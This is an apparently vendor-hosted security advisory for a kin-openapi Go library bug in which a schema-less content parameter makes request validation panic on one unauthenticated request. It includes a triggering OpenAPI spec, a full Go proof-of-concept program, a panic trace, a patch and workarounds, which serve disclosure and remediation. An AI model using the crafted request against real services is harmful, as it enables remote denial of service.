GHSA-JPCW-4WR7-C3VQ

GHSA-JPCW-4WR7-C3VQ is a medium-severity null pointer dereference vulnerability in github.com/getkin/kin-openapi (go), affecting versions <= 0.143.0. It is fixed in 0.144.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a content parameter whose media type has no schema

Field Value
Ecosystem Go
Package github.com/getkin/kin-openapi
Affected versions <= 0.143.0 (introduced in v0.2.0, PR #90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions 0.144.0

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification, kin-openapi's own doc.Validate() accepts it, and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT, panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable, doc.Validate() returns no error), in both 3.0.x and 3.1.x:

  • openapi3/parameter.go, Parameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
  • openapi3/media_type.go, MediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal, doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result, the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

  • Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
  • Supply a custom ParamDecoder that guards mt.Schema == nil.
  • Run request validation inside a handler with an explicit recover(), especially if validation runs off the request goroutine or on a non-net/http host.

Notes for the maintainer

This root cause (mt.Schema == nil) is independent of the Items == nil panics addressed in 30e2923 and of GHSA-mmfr-pmjx-hw9w; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

Wiring Recovered by net/http? Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) Yes Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) No Whole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) No Whole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

GHSA-JPCW-4WR7-C3VQ has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.144.0); upgrading removes the vulnerable code path.

Affected versions

github.com/getkin/kin-openapi (<= 0.143.0)

Security releases

github.com/getkin/kin-openapi → 0.144.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/getkin/kin-openapi to 0.144.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-JPCW-4WR7-C3VQ? GHSA-JPCW-4WR7-C3VQ is a medium-severity null pointer dereference vulnerability in github.com/getkin/kin-openapi (go), affecting versions <= 0.143.0. It is fixed in 0.144.0. The application dereferences a null pointer, causing a crash.
  2. How severe is GHSA-JPCW-4WR7-C3VQ? GHSA-JPCW-4WR7-C3VQ has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/getkin/kin-openapi are affected by GHSA-JPCW-4WR7-C3VQ? github.com/getkin/kin-openapi (go) versions <= 0.143.0 is affected.
  4. Is there a fix for GHSA-JPCW-4WR7-C3VQ? Yes. GHSA-JPCW-4WR7-C3VQ is fixed in 0.144.0. Upgrade to this version or later.
  5. Is GHSA-JPCW-4WR7-C3VQ exploitable, and should I be worried? Whether GHSA-JPCW-4WR7-C3VQ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-JPCW-4WR7-C3VQ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-JPCW-4WR7-C3VQ? Upgrade github.com/getkin/kin-openapi to 0.144.0 or later.

Other vulnerabilities in github.com/getkin/kin-openapi

Stop the waste.
Protect your environment with Kodem.